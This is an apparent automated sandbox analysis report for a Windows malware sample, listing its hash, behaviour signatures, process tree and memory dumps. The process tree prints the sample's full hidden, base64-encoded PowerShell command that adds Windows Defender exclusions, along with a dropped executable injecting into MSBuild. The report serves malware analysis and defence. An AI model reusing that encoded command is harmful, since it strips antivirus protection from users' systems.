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250425-r7qf7syks31025/04/2025, 14:35
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250408-rm2nqsvqw210Analysis
- max time kernel
105s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20250410-en - resource tags
- submitted
25/04/2025, 14:35
General
- Target f6ac1ea5c19284854998f25244a12f25.exe
- Size 654KB
- Sample250425-ryf66svsby
- SHA256 10478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe"C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc YQBkAGQALQBtAHAAUAByAGUARgBlAHIARQBOAEMAZQAgAC0ARQBYAEMAbABVAFMAaQBvAE4AcABhAHQASAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0AZgBvAFIAQwBFADsAIABBAEQARAAtAE0AcABwAFIARQBmAGUAUgBFAG4AYwBFACAALQBFAHgAQwBMAFUAcwBJAG8AbgBwAFIAbwBDAEUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACAALQBGAE8AcgBjAGUA1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exeC:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_o0jcs0xf.uh3.ps1
Item.exe
memory/1220-17-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-2810-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/1220-0-0x00007FFD491F3000-0x00007FFD491F5000-memory.dmp
memory/1220-3-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/1220-27-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-25-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-49-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-67-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-65-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-63-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-61-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-59-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-57-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-55-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-53-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-51-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-47-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-39-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-37-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-35-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-33-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-29-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-21-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-19-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-2-0x0000024CFF750000-0x0000024CFF85A000-memory.dmp
memory/1220-1-0x0000024CE5290000-0x0000024CE5338000-memory.dmp
memory/1220-45-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-11-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-43-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-41-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-9-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-7-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-31-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-5-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-23-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-4-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-13-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/1220-2786-0x0000024C80070000-0x0000024C800C6000-memory.dmp
memory/1220-2787-0x0000024C800D0000-0x0000024C8011C000-memory.dmp
memory/1220-2788-0x0000024C80250000-0x0000024C802A4000-memory.dmp
memory/1220-2796-0x00007FFD491F3000-0x00007FFD491F5000-memory.dmp
memory/1220-2806-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/1220-15-0x0000024CFF750000-0x0000024CFF856000-memory.dmp
memory/4732-2789-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/4732-2801-0x0000022775660000-0x0000022775682000-memory.dmp
memory/4732-2802-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/4732-2795-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/4732-2805-0x00007FFD491F0000-0x00007FFD49CB1000-memory.dmp
memory/5088-2813-0x00007FFD490A0000-0x00007FFD49B61000-memory.dmp
memory/5088-5598-0x00007FFD490A0000-0x00007FFD49B61000-memory.dmp